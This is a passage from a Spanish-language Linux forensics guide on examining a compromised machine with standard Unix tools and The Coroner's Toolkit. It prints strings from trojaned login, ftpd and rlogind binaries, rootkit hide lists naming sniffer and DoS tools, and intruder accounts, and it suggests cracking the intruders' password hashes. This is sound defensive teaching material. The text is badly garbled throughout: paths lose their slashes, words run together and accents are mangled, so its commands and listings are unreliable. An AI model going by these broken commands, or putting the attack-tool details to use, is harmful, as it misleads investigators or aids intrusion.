A la hora de verificar los MD5 del disco y de las cintas si al menos un uacutenico byte ha sido modificado a la hora derealizar la duplicacioacuten o backup el checksum no coincidiraacute Eso puede estar causado por un sector dantildeado en el discoduro o en la cinta puede que haya hecho una copia del sistema vivo (no montado read-only) o haya hecho la copiade una particioacuten incorrecta

Intente utilizar otra cinta Pruebe tambieacuten regenerar el MD5 checksum del discoparticioacuten Haga lo que haga no intentere-formatear analizar arreglar el disco original ya que todas esas acciones alteraraacuten la informacioacuten del disco

Puede ser que necesite servicios de una empresa especializada en recuperacioacuten de datos que puede migrar en tiemporeal los datos del disco y determinar que sector exactamente estaacute dantildeado y arreglarlo de forma segura Ojo siempreque entrega una cintadisco a las empresas de recuperacioacuten de datos aseguren la informacioacuten con una aseguradora porel valor aproximado de dantildeos causados Si es la cinta o el dispositivo de cinta que estaacute fallando pues se debe adquirirun dispositivocinta nuevoa ya que no podraacute seguir trabajando con hardware estropeado

d Si se estaacute guardando maacutes de una particioacuten en la cinta hay que asegurarse que se utiliza el dispositivo non-rewindpara cada particioacuten entonces se usa mt rewind o simplemente se saca la cinta lo que causaraacute que se rebobine Ahora escuando debe habilitar la proteccioacuten de escritura de la cinta ya que no queremos que de forma accidental se sobrescribala informacioacuten Una vez que vuelva a meter la cinta en el dispositivo se debe comprobar que la proteccioacuten contraescritura estaacute funcionando correctamente utilizando el comando mt El siguiente ejemplo muestra el estado de unacinta protegida contra escritura posicionada en el punto BOT y el primer fichero estaacute marcado como 0

14

mt statusSCSI 2 tape driveFile number=0 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (45010000)

BOT WR_PROT ONLINE IM_REP_EN

Mientras que el siguiente ejemplo muestra el estado de una cinta sin proteccioacuten contra escritura y el fin de 2ordm ficheroen la cinta 1 lo que es tambieacuten en este caso el fin de la cinta

mt fsf 1devtape Inputoutput error

mt statusSCSI 2 tape driveFile number=1 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (89010000)

EOF EOD ONLINE IM_REP_EN

e Monte el sistema de ficheros root pero no modifiacutequelo de ninguna manera Para hacerlo bien hay que montarla demodo solo lectura con opcioacuten -r o -o ro Tenemos que tener en cuenta que la pertenencia de ficheros se contaraacutebasaacutendose en el fichero etcgroup del sistema de anaacutelisis y no del fichero group del sistema comprometido

Ejemplo

mount -r devhdd2 mnt

ls -lat mnttotal 73drwxr-x--- 17 root root 1024 May 1 0901 rootdrwxrwxrwt 6 root root 1024 May 1 0403 tmpdrwxr-xr-x 8 root root 34816 Apr 30 0402 devdrwxr-xr-x 34 root root 3072 Apr 29 1417 etcdrwxr-xr-x 2 root root 2048 Apr 26 1652 bin

15

drwxr-xr-x 2 root root 1024 Apr 26 1112 bootdrwxr-xr-x 3 root root 3072 Apr 21 0401 sbindrwxr-xr-x 4 root root 3072 Apr 21 0356 libdrwxrwxr-x 2 root root 1024 Mar 3 1327 cdromdrwxr-xr-x 2 root root 1024 Oct 9 1999 homedrwxr-xr-x 2 root root 12288 Oct 9 1999 lost+founddrwxr-xr-x 4 root root 1024 Oct 9 1998 mntdrwxr-xr-x 2 root root 1024 Oct 9 1999 procdrwxr-xr-x 20 root root 1024 Aug 2 1998 usrdrwxr-xr-x 18 root root 1024 Aug 2 1998 var

Observando este listado podemos notar que efectivamente no nos hemos equivocado ya que esa particioacuten es de hechola particioacuten root ya que contiene directorios usr var proc bin root etc etc Vemos que el directoriohome tiene 2 enlaces y el directorio usr tiene 20 enlaces (ya que por las entradas de directorios y el nuacutemeromiacutenimo de enlaces que llevan a un directorio son 2) Todaviacutea no sabemos que es lo que exactamente contiene laparticioacuten devhdd4 Parece que posiblemente contiene el contenido del home y no del usr ni tampoco var por lasmismas razones

Por supuesto para salir de dudas podemos examinar el fichero etcfstab

Ejemplo

less mntetcfstab

devhda1 dosc msdos defaults 0 0devhda2 ext2 defaults 1 1devhda4 home ext2 defaults 1 2devhda3 swap swap defaults 0 0devcdrom cdrom iso9660 noautouserro 0 0devfd0 floppy ext2 noautouserrw 0 0none proc proc defaults 0 0none devpts devpts mode=0622 0 0

Cabe tomar nota aquiacute que utilizamos el paginador less Es para prevenir potencialmente insertados caracteresespeciales que pueden modificar los ajustes del terminal en tty si eso pasa el terminal es inutilizable para nosotrosya que no podemos ni leer ni escribir de forma legible Si estuvo utilizando el programa script para logear la sesioacutentendraacute que salir y resetear el terminal posiblemente olvidando de script y olvidando de los records anteriores Detodas maneras antes de salir intentaremos Ctrl+D para cerrar la sesioacuten script

Recuerde que si el disco era el uacutenico dispositivo IDE utilizado en el sistema pueda posiblemente ser master en elprimer controlador o devhda Por eso el fichero fstab los muestra de tal forma y no como devhdd como aparecen ennuestro sistema de anaacutelisis Por lo tanto para que podamos montar la particioacuten home necesitamos utilizar devhdd4

16

Ejemplo

umount mnt mount -r devhdd4 mnt ls -lat mnttotal 21drwx------ 47 user1 user1 3072 Apr 28 1152 user1drwx------ 10 user3 user3 1024 Dec 3 1419 user3drwx------ 4 user2 user2 1024 Oct 14 1999 user2drwxr-xr-x 2 root root 12288 Oct 1 1999 lost+founddrwxr-xr-x 2 root nobody 1024 Apr 15 1999 sambadrwxr-xr-x 5 root root 1024 Apr 7 1999 httpddrwxr-xr-x 6 root root 1024 Mar 21 1999 ftpdrwxr-xr-x 30 root root 1024 Aug 2 1998 local

Ahora podemos ver el contenido de la particioacuten home montado sobre mnt Vamos por ahora ignorar el contenidode la particioacuten home ya que ninguacuten fichero de sistema operativo se encuentra alliacute En futuro podemos examinarsu contenido para detectar alguacuten indicio de back-door como aplicaciones setuidsetgid ficheros rhosts comandosantildeadidos a los ficheros de inicializacioacuten de shell (cshrc bashrc etc) que pueden enviar una copia de fichero quecontiene passwords a una direccioacuten borrar fichero similares

Ahora vamos a re-montar en solo lectura el sistema de ficheros root y empecemos a investigar

Ejemplo

umount mnt mount -r devhdd2 mnt

Primero verifiquemos que es lo que contiene el fichero etcpasswd para ver que UIDGIDs hay dentro Este ficherodebe ser copiado y utilizado con la aplicacioacuten mactime del suite de herramientas The Coronerrsquos Toolkit [13] Laaplicacioacuten nos mostraraacute el mapeo correcto de UIDs y GIDs

El fichero puede contener cuentas creadas por los intrusos como por ejemplo aquiacute

less mntetcpasswd

rootx00rootrootbinbashbinx11binbindaemonx22daemonsbinadmx34admvaradmlpx47lpvarspoollpd

17

syncx50syncsbinbinsyncshutdownx60shutdownsbinsbinshutdownzx00binbashhaltx70haltsbinsbinhaltmailx812mailvarspoolmailnewsx913newsvarspoolnewsuucpx1014uucpvarspooluucpoperatorx110operatorrootr00tx598500binbashgamesx12100gamesusrgamesyx900100tmpbinbashgopherx1330gopherusrlibgopher-dataftpx1450FTP Userhomeftpnobodyx9999Nobodygdmx4242homegdmbinbashxfsx100233X Font ServeretcX11fsbinfalseuser1x500500User 1homeuser1bintcshuser2x501501User 2homeuser2bintcshuser3x502502User 3homeuser3bintcshnamedx2525Namedvarnamedbinfalse

En el ejemplo anterior podemos observar que hay cuentas que parecen totalmente fuera de lugar ya que tienen nuacutemerosUID elevados y sin orden aparente por ejemplo r00t y (que por cierto tiene asignado como $HOME el directoriotmp) Un fichero de passwd legiacutetimo y creado por el sistema normalmente sigue un patroacuten secuencial de asignacioacutende UIDrsquos Mientras aquiacute anotamos que las cuentas con UIDs de orden bajo como reciente mente antildeadidos namedcon UID 25 y z con UID 0 y GID 0 (lo mismo que root) son altamente sospechosos por su posicioacuten Hemos tomadonota para volver luego y investigar maacutes en detalle Intente de forma opcional extraer las contrasentildeas de esos usuariosen formato cifrado y intentar ripearlos (hay muchas posibilidades de que los intrusos tengan la misma contrasentildea enla maacutequina atacada y en suya propia) Tambieacuten apunte algunas conclusiones a las que hemos llegado ahora

1Creacioacuten de cuentas es una accioacuten frecuente y creadas de tal manera como hemos visto anteriormente muestranun nivel de conocimientos bajo del intruso

2Tambieacuten podemos suponer que los intrusos ya han observado que el administrador no realiza verificaciones deseguridad rutinarias y no temen ser descubiertos

3Puede ser que sea un entretenimiento para los intrusos crear cuentas para que el administrador las encuentre laselimine y asume que el sistema estaacute seguro mientras que hay muacuteltiples puertas traseras instaladas que permitencompromiso root de la maacutequina

4Como normalmente las cuentas se crean de forma secuencial en el fichero etcpasswd puede que el administrador(o alguien maacutes) haya instalado named en el sistema de forma reciente (o el intruso haya instalado una versioacutende named vulnerable)

18

Debe empezar a construir una liacutenea temporal para anotar cuando han ocurrido los hechos intentar trazar de formainversa todos los acciones hasta el intento de entrada al sistema y el punto de origen de entrada Aprovechando todoslos hechos acumulados al final podremos determinar el origen verdadero del atacante y los sistemas utilizados paraatacar a la maacutequina

En este momento nos encontramos en la fase de observacioacuten ahora estamos tomando notas de lo que pasoacute hemosverificado que tenemos el contenido de disco duro intacto disponemos de tres copias del disco duro y las estamosestudiando en modo solo lectura

Desde aquiacute el anaacutelisis puede ser continuado usando herramientas comunes de Unix yo herramientas especialmentedisentildeados para anaacutelisis forense Tambieacuten debemos utilizar toda nuestra experiencia anterior y el sentido comuacuten

7 Anaacutelisis con Herramientas Estaacutendar de UnixAsumiendo que nuestras herramientas de Unix estaacuten limpias de root-kit podemos seguir desde el punto donde lodejamos en la seccioacuten anterior Hemos notado que las dos cuentas y y z tienen el directorio home situado en entmp y en respectivamente Eso significa que debemos examinar de forma detenida estos directorios para detectarcualquier anomaliacutea

ls -lat mnttmptotal 156drwxrwxrwt 6 root root 1024 May 1 0403 -r--r--r-- 1 root gdm 11 Apr 29 1417 X0-lockdrwxrwxrwt 2 root gdm 1024 Apr 29 1417 X11-unixdrwxrwxrwt 2 xfs xfs 1024 Apr 29 1417 font-unixdrwxr-xr-x 25 y root 1024 Apr 28 2347 drwx------ 2 user1 user1 1024 Apr 26 1736 kfm-cache-500-rw-rw-r-- 1 user1 user1 12288 Apr 26 1637 psdevtabdrwxrwxrwt 2 root root 1024 Apr 21 1112 ICE-unix-rwx------ 1 root root 138520 Apr 20 2015 fileMFpmnk

El listado nos muestra que existe un fichero cuyo tamantildeo es superior al resto Tambieacuten vemos que es el fichero maacutesantiguo de la carpeta que pertenece al root El nombre del fichero no estandarizado y posee derechos de ejecucioacutenDebemos determinar de que tipo de fichero se trata El programa file nos informa que el fichero misterioso es unbinario ELF de 32-bit LSB ejecutable Intel 80386 versioacuten 1 (Linux) enlazado estaacuteticamente stripeado Para ver cuales el objetivo del fichero examinamos el listado de cadenas de texto que contiene

1strings - mnttmpfileMFpmnk

19

libld-linuxso2__gmon_start__libpamso0_DYNAMIC_GLOBAL_OFFSET_TABLE_pam_set_itemfree__ctype_tolowermallocstrcmppam_endpam_start

FileCompressedBlockStream[nowhere yet]ftpdaAvdlLiopPqQrsStTuwWXbad value for -uoption -c requires an argumentunknown option -c ignored

VirtualFTP Connect to s [s]bannerlogfileemailvarlogxferlogconnection refused (server shut down) from ss FTP server shut down -- please try again laterlslongbinls -lalsshortlsplainbinlsgreetingfulltersebriefs FTP server (s) readys FTP server readyFTP server ready

FTP LOGIN REFUSED (already logged in as s) FROM s s

20

Already logged inetcftphostsFTP LOGIN REFUSED (name in s) FROM s sanonymousFTP LOGIN REFUSED (anonymous ftp denied on default server) FROM s sFTP LOGIN REFUSED (ftp in denied-uid) FROM s setcftpusers

Por lo que vemos strings nos comenta que el binario es un servidor FTP normalmente llamado ftpd oacute inftpd Puedeser que el fichero forma parte de un root-kit o de un caballo de Troya Los ficheros de configuracioacuten de este tipode kits suelen normalmente encontrarse en el directorio dev entonces una buacutesqueda raacutepida en ese directorio podraacutedesvelar nos mucha informacioacuten uacutetil

cd mntdev ls -lat | head -30total 116drwxr-xr-x 8 root root 34816 Apr 30 0402 srw-rw-rw- 1 root root 0 Apr 30 0402 logcrw------- 1 root root 4 1 Apr 29 1417 tty1crw------- 1 root root 4 2 Apr 29 1417 tty2crw------- 1 root root 4 3 Apr 29 1417 tty3crw------- 1 root root 4 4 Apr 29 1417 tty4crw------- 1 root root 4 5 Apr 29 1417 tty5crw------- 1 root root 4 6 Apr 29 1417 tty6srwxrwxrwx 1 root root 0 Apr 29 1417 gpmctlsrw------- 1 root root 0 Apr 29 1417 printercrw-r--r-- 1 root root 1 9 Apr 29 1417 urandomprw------- 1 root root 0 Apr 29 1414 initctldrwxr-xr-x 25 y root 1024 Apr 28 2347 crw-rw-rw- 1 root tty 3 2 Apr 28 1144 ttyp2crw-rw-rw- 1 root tty 3 0 Apr 28 1143 ttyp0crw-rw-rw- 1 root tty 3 1 Apr 28 1143 ttyp1-rw-r--r-- 1 root root 18 Apr 27 2258 ptypdrwxr-xr-x 4 r00t root 1024 Apr 27 2258 crw-rw-rw- 1 root tty 3 4 Apr 27 1202 ttyp4crw-rw-rw- 1 root tty 3 3 Apr 27 1156 ttyp3crw------- 1 root root 5 1 Apr 21 1109 consolelrwxrwxrwx 1 root root 5 Apr 21 0402 mouse -gt psauxdrwxr-xr-x 2 root root 1024 Apr 20 1521 rev0-rw-r--r-- 1 root root 33 Apr 20 1521 ptyrlrwxrwxrwx 1 root root 9 Feb 28 0223 isdnctrl -gt isdnctrl0lrwxrwxrwx 1 root root 5 Feb 28 0223 nftape -gt nrft0lrwxrwxrwx 1 root root 3 Feb 28 0223 fb -gt fb0

21

lrwxrwxrwx 1 root root 15 Feb 28 0223 fd -gt procselffdlrwxrwxrwx 1 root root 4 Feb 28 0223 ftape -gt rft0Broken pipe

De todos los ficheros que podemos ver en este directorio nos llaman atencioacuten los archivos ptyp y ptyr que noson dispositivos comunes ni directorios ni tampoco enlaces simboacutelicos son ficheros de tipo ASCII text Tambieacutenlocalizamos un directorio llamado rev0 y una carpeta oculta que pertenece al usuario r00t

less ptyr

spplslicessynk4rev0bc1snif

Son ficheros de configuracioacuten de un caballo de Troya El contenido muestra que ls ocultaraacute ficheros o directorios spplslice (un cliente DoS) ssynk4 (cliente DoS) rev0 bc1 y snif (adivina que puede ser )

Si estamos seguros que nuestro sistema no estaacute infectado con un root-kit podemos utilizar las herramientas find ygrep para identificar doacutende se encuentran estos ficheros (el disco estaacute montado como solo lectura nodev iquestverdad)

cd mnt

find -ls | grep -f etcptyr282058 1 drwxr-xr-x 2 root root 1024 Apr 20 1521 devrev0282059 1 -rw-r--r-- 1 root root 5 Apr 20 1521 devrev0sniffpid

282061 20 -rw-r--r-- 1 root root 19654 Apr 20 2023 devrev0tcplog164753 9 -rwxr-xr-x 1 1080 users 9106 Sep 20 1999 devrev0slice164754 8 -rwxr-xr-x 1 1080 users 8174 Sep 20 1999 devrev0smurf4164755 8 -rwxr-xr-x 1 1080 users 7229 Sep 20 1999 devrev0snif164756 4 -rwxr-xr-x 1 1080 users 4060 Mar 5 1999 devrev0sppl164770 9 -rwxr-xr-x 1 root 1000 8268 Aug 10 1999 devblitznetslice2

61907 2 -rwxr-xr-x 1 root root 2006 Mar 29 1999 usrbinsliceprint

255230 1 -rw-r--r-- 1 root root 900 Mar 21 1999 usrincludepython15sliceobjecth

22

Algunos de los ficheros que estaacuten en la lista posiblemente son ficheros legiacutetimos del sistema operativo pero hayalgunos que son bastante sospechosos los que se encuentran en dos carpetas del directorio dev

cd mntdev less ptyp

3 egg3 egg3 bnc

En este momento podemos hacer una apuesta seguro que el fichero ptyp es un fichero de configuracioacuten de la utilidadps del root-kit que oculta los procesos que contienen cadenas egg bnc en sus nombres Hay que encontrarbinarios ejecutables con estos nombres

cd mntdev ls -lR total 2699drwxr-sr-x 2 root 1000 1024 Aug 10 1999 blitznet-rw-r--r-- 1 root root 30720 Apr 26 0407 blitznettar-rwxrw-r-- 1 r00t user1 22360 Apr 27 2258 bnc-rw-r--r-- 1 900 users 2693120 Apr 20 2218 collisiontar-rw-rw-r-- 1 r00t user1 976 Apr 27 2258 exampleconf-rw-rw-r-- 1 user1 user1 5 Apr 28 2035 pidbnc

blitznettotal 22-rw-r--r-- 1 root 1000 3450 Aug 10 1999 README-rw-r--r-- 1 root 1000 1333 Aug 10 1999 blitzc-rw-r--r-- 1 root 1000 3643 Aug 10 1999 blitzdc-rwxr-xr-x 1 root 1000 2258 Aug 10 1999 rushtcl-rwxr-xr-x 1 root 1000 8268 Aug 10 1999 slice2

ls -lR rev0rev0total 51

23

-rwxr-xr-x 1 1080 users 9106 Sep 20 1999 slice-rwxr-xr-x 1 1080 users 8174 Sep 20 1999 smurf4-rwxr-xr-x 1 1080 users 7229 Sep 20 1999 snif-rw-r--r-- 1 root root 5 Apr 20 1521 sniffpid-rwxr-xr-x 1 1080 users 4060 Mar 5 1999 sppl-rw-r--r-- 1 root root 19654 Apr 20 2023 tcplog

cd mntusrbin ls -lat | headtotal 89379drwxr-xr-x 6 root root 27648 Apr 21 0401 -rwsr-xr-x 1 root root 20164 Apr 15 1923 chxlrwxrwxrwx 1 root root 8 Feb 28 0228 netscape-navigator -gt netscapedrwxrwxr-x 2 news news 1024 Feb 28 0225 rnewslibexecdrwxrwxr-x 2 news news 1024 Feb 28 0225 controldrwxrwxr-x 2 news news 1024 Feb 28 0225 filterlrwxrwxrwx 1 root root 4 Dec 30 1306 elatex -gt etexlrwxrwxrwx 1 root root 5 Dec 30 1306 lambda -gt omegalrwxrwxrwx 1 root root 3 Dec 30 1306 latex -gt texBroken pipe

strings - chxlibld-linuxso2__gmon_start__libcryptso1libpamso0

varlogbtmpusrsharelocaleutil-linuxfhplogin -h for super-user onlyusage login [-fp] [username]devttysdevvcsdevvcsaloginlogin PAM Failure aborting sCouldnrsquot initialize PAM sFAILED LOGIN d FROM s FOR s sLogin incorrectTOO MANY LOGIN TRIES (d) FROM s FOR s s

24

FAILED LOGIN SESSION FROM s FOR s sLogin incorrecthushloginssvarrunutmpvarlogwtmpbinshTERMdumbHOMEusrlocalbinbinusrbinPATHsbinbinusrsbinusrbinSHELLvarspoolmailMAILLOGNAMEDIALUP AT s BY sROOT LOGIN ON s FROM sROOT LOGIN ON sLOGIN ON s BY s FROM sLOGIN ON s BY sYou have smailnewlogin failure forking ssetuid() failedNo directory sLogging in with home = login no memory for shell scriptexeclogin couldnrsquot exec shell script slogin no shell ss loginlogin name much too longNAME too longlogin names may not start with rsquo-rsquotoo many bare linefeedsEXCESSIVE linefeedsLogin timed out after d secondsetcsecurettyetcmotdvarloglastlogLast login sfrom son sLOGIN FAILURE FROM s s

25

LOGIN FAILURE ON s sd LOGIN FAILURES FROM s sd LOGIN FAILURES ON s s

El programa nos muestra los mensajes del sistema mencionando el fichero hushlogin Todos los indicios apuntanque el binario es una versioacuten modificada de de la aplicacioacuten login Siempre Los binarios siempre incluyen informacioacutende objetos compilados y enlazados salvo que esteacuten stripeados Si estaacute presente esa informacioacuten podemos examinarlacon la utilidad nm

nm chxchx no symbols

En este caso estamos seguros que el fichero estaacute stripeado Tambieacuten podemos aprender bastante de lo que nos muestranlos enlaces a las libreriacuteas dinaacutemicas Para verlo utilicemos ldd

ldd chxlibcryptso1 =gt liblibcryptso1 (0x40018000)libpamso0 =gt liblibpamso0 (0x40045000)libdlso2 =gt liblibdlso2 (0x4004d000)libpam_miscso0 =gt liblibpam_miscso0 (0x40050000)libcso6 =gt liblibcso6 (0x40054000)libld-linuxso2 =gt libld-linuxso2 (0x40000000)

El binario depende del moacutedulo PAM y de las libreriacuteas criptograacuteficas Entonces el binario efectuacutea algunas tareas deautenticacioacuten de usuarios El binario parece ser el binlogin modificado que pertenece a alguacuten caballo de Troya

Normalmente los intrusos no dejan huellas evidentes que nos permiten encontrar ficheros y directorios El ejemploanterior nos ha probado que utilizando herramientas baacutesicas podemos reunir bastante informacioacuten

En caso de que no sea tan sencillo se deberaacute utilizar herramientas maacutes complejas y eficaces Para ver alguacuten ejemplocomplejo podemos ver referencias [14 15]

8 The Coronerrsquos ToolkitThe Coronerrsquos Toolkit (o el TCT) es un suite de aplicaciones escritas por Dan Farmer y Wietse Venema para uncurso organizado por IBM sobre un estudio forense de equipos comprometidos

Las aplicaciones maacutes importantes del suite son

26

bull grave-robber - Una utilidad para capturar informacioacuten sobre inodes para luego pueda ser procesada por elprograma mactime del mismo toolkit

bull unrm y lazarus - Herramientas para la recuperacioacuten de archivos borrados (logs RAM swap etc) Estasaplicaciones identifican y recuperan la informacioacuten oculta en los sectores del disco duro

bull mactime - El programa para visualizar los ficherosdirectorios su timestamp MAC (Modification Access yChange)

De todas esas herramientas las maacutes uacutetiles y interesantes son grave-robber y mactime unrm y lazarus son buenas si setiene mucho tiempo y espacio libre en el disco ya que el programa necesita identificar informacioacuten en los sectores deldisco para recuperar los ficheros (logs fuentes etc) borrados por los intrusos

La funcioacuten maacutes baacutesica de grave-robber es de escanear algunas o todas sistemas de ficheros con funcioacuten stat() paraobtener informacioacuten de los inodes Grave-robber crea en la carpeta data un directorio llamado como el nombredel host de la maacutequina y alliacute almacena los inodes dentro del fichero body El programa mactime luego ordena losresultados y los muestra seguacuten el tiempo cual de los tres timestamps corresponde muestra el tipo de fichero tamantildeoy a quieacuten pertenece junto con el path

Desde el listado podremos sacar algunas conclusiones sobre la actividad que ha ejercido el intrusolos intrusos duranteel tiempo que estuvieron dentro del sistema Eso puede incluir instalacioacuten de caballos de Troya backdoors sustitucioacutende ficheros legiacutetimos del sistema operativo descarga de herramientas modificacioacuten de las libreriacuteas del sistema oinstalacioacuten de rpmrsquosdebrsquospkgrsquos etc Tambieacuten podemos ver desde aquiacute la creacioacuten de directorios ocultos ejecucioacutende los comandos de sistema operativo compilacioacuten y ejecucioacuten de aplicaciones Toda esa informacioacuten que nunca sealmacena de forma directa puede ser extraiacuteda de la informacioacuten que da mactime

9 Usando TCTAhora paso por paso intentaremos instalar la aplicacioacuten The Coroners Toolkit que nos serviraacute para recoger lainformacioacuten sobre el sistema de ficheros y analizarla La herramienta no es un ejecutable que realiza todas las tareassino es una coleccioacuten de utilidades disentildeadas para efectuar una tarea determinada siendo importante entender elfuncionamiento de cada una de ellas para poder entender la funcioacuten del toolkit en su totalidad

bull El primer paso es de desempaquetar el archivo tct-109targz y copiarlo al directorio usrlocaltct-109 luegodebemos leer detenidamente el fichero de instrucciones de instalacioacuten INSTALL

La instalacioacuten de la aplicacioacuten debe ser realizada en una particioacuten donde haya mucho espacio ya que algunasaplicaciones suelen generar una cantidad grande de informacioacuten de salida por ejemplo unrm y lazarus

bull Ahora reconfiguremos los scripts utilizando perl reconfig ya que TCT utiliza rutas completas

27

bull Limpiamos bien la distribucioacuten con un make clean make all

bull Leemos documentacioacuten del directorio docs para conocer los detalles de funcionamiento del Toolkit

1 ls -l docs

total 34-rw-r--r-- 1 root root 8572 Mar 28 1241 README-rw-r--r-- 1 root root 7162 Mar 28 1239 grave-robberREADME-rw-r--r-- 1 root root 13944 Jan 16 1334 lazarusREADME-rw-r--r-- 1 root root 2830 Mar 27 1507 macREADME

bull Montamos la particioacuten que debemos analizar en modo solo lectura y nodev bajo alguacuten punto de montura

mount -r devhdd2 mnt

bull Suponiendo que siendo root arrancamos la aplicacioacuten grave-robber para que empiece a analizar el sistema de fiche-ros y procesos y guardar los datos de los inodes en el fichero dataactivalinkcombase y dataactivalinkcombaseS(binarios sUID) el estado del sistema en el directorio dataactivalinkcomcommand_out etc

bingrave-robber -m mnt

Grave-robber inicialmente realizaraacute un anaacutelisis de todas las carpetas que estaacuten en el $PATH y a continuacioacuten empezaraacutea analizar la particioacuten montada mnt El anaacutelisis suele tardar bastante tiempo seguacuten el tamantildeo de la particioacuten quequeremos analizar Aparte de los inodes se guarda el estado general del sistema es decir el output de las herramientasde monitorizacioacuten del sistema como ps top w etc

bull Una vez terminado el trabajo del grave-robber copiamos los ficheros passwd y group del sistema comprometidoal directorio tct-109 para que los tengamos a mano ya que en breve estaremos analizaacutendolos Para que se puedadistinguirlos luego renombramos estos ficheros passwdvictim o utilicemos el nombre del host comprometido

bull Ejecutamos luego la utilidad mactime especificando una fecha anterior del compromiso (consideremos que laactividad del intruso ha acabado hoy pero no vamos a especificar hora) Necesitaremos pasar los resultados deejecucioacuten de mactime a un fichero para que luego se pueda examinar su contenido con tranquilidad

28

binmactime -p passwdvictim -g groupvictim mnt 06012000 gt victimmactime

En la utilidad mactime hubo un bug en las versiones anteriores que haciacutea que la aplicacioacuten no funcione correctamente sise utilizaba la opcioacuten -p Entonces haciacuteamos un work around incorporando temporalmente el contenido del ficheroetcpasswd de la maacutequina viacutectima coincidir con eacutel de nuestro sistema En la versioacuten actual este bug estaacute solucionado

bull Hacemos una copia del fichero antes de empezar el anaacutelisis

cp victimmactime victimmactimeevidence

bull Entonces podemos empezar analizando el fichero victimmactimeevidence Usando el editor de texto favoritoempecemos a revisarlo y marcar la actividad sospechosa Sugiero que pongamos los tags [MARK] para que luegocon grep podamos localizar nuestros apuntes

Feb 13 2000 011050 50148 mca -rwxr-xr-x root root xdevFeb 13 2000 011052 564 mc -rw-r--r-- root root xetcprofileFeb 13 2000 011100 5 mac -rw-r--r-- root root xlibsp

18110 a -rw-r--r-- root root xlibtp[MARK]Feb 13 2000 011208 0 c -rw-r--r-- root root xdevttyag

25 c -rwxr-xr-x root root xdevttyfg23 c -rwxr-xr-x root root xdevttypg

373176 c -rws--x--x root root xlib8268 c -rwxr-xr-x root root xlibgo

20164 c -rwsr-xr-x root root xusrbinxcat183780 c -rwxr-xr-x root root xusrsbinfind

Feb 13 2000 013000 8268 a -rwxr-xr-x root root xlibgoFeb 14 2000 104203 1166856 a -rw-r--r-- root root xvarlogbootlog[MARK]Feb 14 2000 104535 18110 mc -rw-r--r-- root root xlibtpFeb 14 2000 105742 2998 mc -rw-r--r-- root root xetcinetdconf~Feb 14 2000 110147 168 a -rw-rw-r-- root root xrootsaves-1380-dragon~

Feb 14 2000 111838 160 mc -rw-r--r-- root root xetchostsallowoldFeb 14 2000 111855 347 mc -rw-r--r-- root root xetchostsdenyoldFeb 14 2000 111908 8 mc -rw-r--r-- root root xetchostsdenyFeb 14 2000 112253 168 mc -rw-rw-r-- root root xrootsaves-1380-dragon~

29

Feb 14 2000 113030 2998 a -rw-r--r-- root root xetcinetdconf~[MARK]Feb 14 2000 113125 20164 a -rwsr-xr-x root root xusrbinxcatFeb 14 2000 113410 868 mc -rwxr-xr-x root root xetcrcdrclocal

bull Despueacutes de repasar todo el listado de cambios histoacutericos puede que tengamos alguna pista para seguir o puedeque no En el peor de los casos debemos modificar la fecha especificada y cambiarla a la anterior del compromisointentaacutendolo de nuevo o mirar maacutes detenidamente Durante el examen del documento se prohibe distraerse ya quela concentracioacuten es muy importante en este momento

bull Otra opcioacuten es recuperar ficheros borrados con el la utilidad unrm y luego examinarlos con el programa stringsLas dos utilidades unrm y lazarus generan muchiacutesima informacioacuten y debemos tener bastante espacio libre enla particioacuten Podemos determinar la cantidad de espacio en disco duro que necesitamos calculando de formaaproximada a partir del informe de df

df mntFilesystem 1k-blocks Used Available Use Mounted ondevhdb2 3028881 1604551 1267697 56 mnt

En nuestro ejemplo df muestra que tenemos 1267697 bloques sin ocupar que significa que unrm puede llegar a generaraproximadamente 12 Gb de informacioacuten Encontremos una particioacuten libre y almacenemos alliacute el dump (Importanteen el ejemplo utilizo el punto de montura del sistema comprometido y no del sistema de anaacutelisis)

binunrm devhdb2 gt datavictimhda2unrm

bull Pero si disponemos de maacutes espacio (maacutes de 12Gb) y mucho maacutes tiempo para practicar con lazarus que procesaraacuteel espacio libre en el disco duro y intentaraacute recuperar ficheros por sus tipos lazarus genera una salida en formatoHTML que nos va a dar la oportunidad de verla a traveacutes del navegador

30

10 Ejemplo de Informe de Pruebas EncontradasAhora vamos a examinar un informe completo de actividad dellos intrusos en el sistema El informe fue obtenido trasanalizar los ficheros log de los sniffers intentos de acceso timestamps en el sistema de ficheros y el contenido de lasparticiones de varios sistemas involucrados en el incidente Es un informe real soacutelo que estaacute omitida la informacioacutenque identifica el sistema atacado

A continuacioacuten es un informe de anaacutelisis de la particioacuten root del sistema 2121022557 la informacioacuten aparece talcomo fue encontrada despueacutes de poner el disco off-line una vez descubierto el compromiso por sospecha de tenerejecutaacutendose un sniffer Una copia de sistema de ficheros estaacute disponible en formato targz en el cdrom ISO 9660CD-R

La maacutequina 2121022557 fue una de las 19 sospechosas de estar comprometida por el mismo grupo de intrusosalrededor de 10-09-2001 utilizando Linux mountd buffer overflow bug documentado en el CERT Advisory CA-9812httpwwwcertorgadvisoriesCA-9812mountdhtml

El disco duro fue analizado utilizando herramientas creadas por Dan Farmer y Wietse Venema llamadas CoronerrsquosToolkit (httpwwwfishcomsecurityforensicshtml) En el sistema de anaacutelisis el disco aparece como dispositivodevhdc La primera particioacuten devhdc1 fue montada en modo solo lectura bajo el punto de montura x Comoresultado de ello todas las rutas seraacuten precedidas por esa cadena La geometriacutea del disco duro es la siguiente

Disk devhdc 32 heads 63 sectors 825 cylindersUnits = cylinders of 2016 512 bytes

Device Boot Start End Blocks Id Systemdevhdc1 1 793 799312+ 83 Linuxdevhdc2 794 825 32256 82 Linux swap

Como la mayoriacutea de los accesos al servidor empezaron el diacutea 09 del Sep la fecha previa del anaacutelisis forense fue tomadacomo 28 Ago No se observan huellas obvias de modificacioacuteninstalacioacuten de ficheros que indica que el sistema fueaccedido entre Sep 01 y Sep 04 El diacutea Sep 04 ha sido modificado el demonio r de Berkeley (inrlogind)

Sep 04 01 234221 23421 m -rwxr-xr-x root root xusrsbininrlogind

El examen del contenido del fichero a traveacutes de la utilidad strings muestra que es un caballo de Troya que contienelos mismos strings que han sido encontrados en los ficheros del grupo XXXXXXX

31

rlogindahLlnXXXXXXXXCanrsquot get peer name of remote host mCanrsquot get peer name of remote hostsetsockopt (SO_KEEPALIVE) msetsockopt (IP_TOS) mhname = NULLrlogindc

Pasados ocho diacuteas se observa una modificacioacuten en el demonio y ejecucioacuten de chown

